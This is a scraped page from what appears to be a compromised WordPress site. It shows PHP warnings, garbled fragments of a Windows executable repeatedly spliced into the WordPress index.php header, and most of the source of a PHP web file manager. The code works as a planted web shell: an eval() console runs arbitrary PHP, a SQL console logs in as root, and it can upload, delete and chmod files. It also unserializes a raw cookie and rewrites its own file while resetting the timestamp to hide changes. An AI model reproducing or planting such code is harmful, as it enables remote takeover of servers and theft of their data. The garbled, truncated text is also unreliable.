??????????????
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 173
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 174
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 175
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 176
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 177
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 178
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' '.$name.'';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '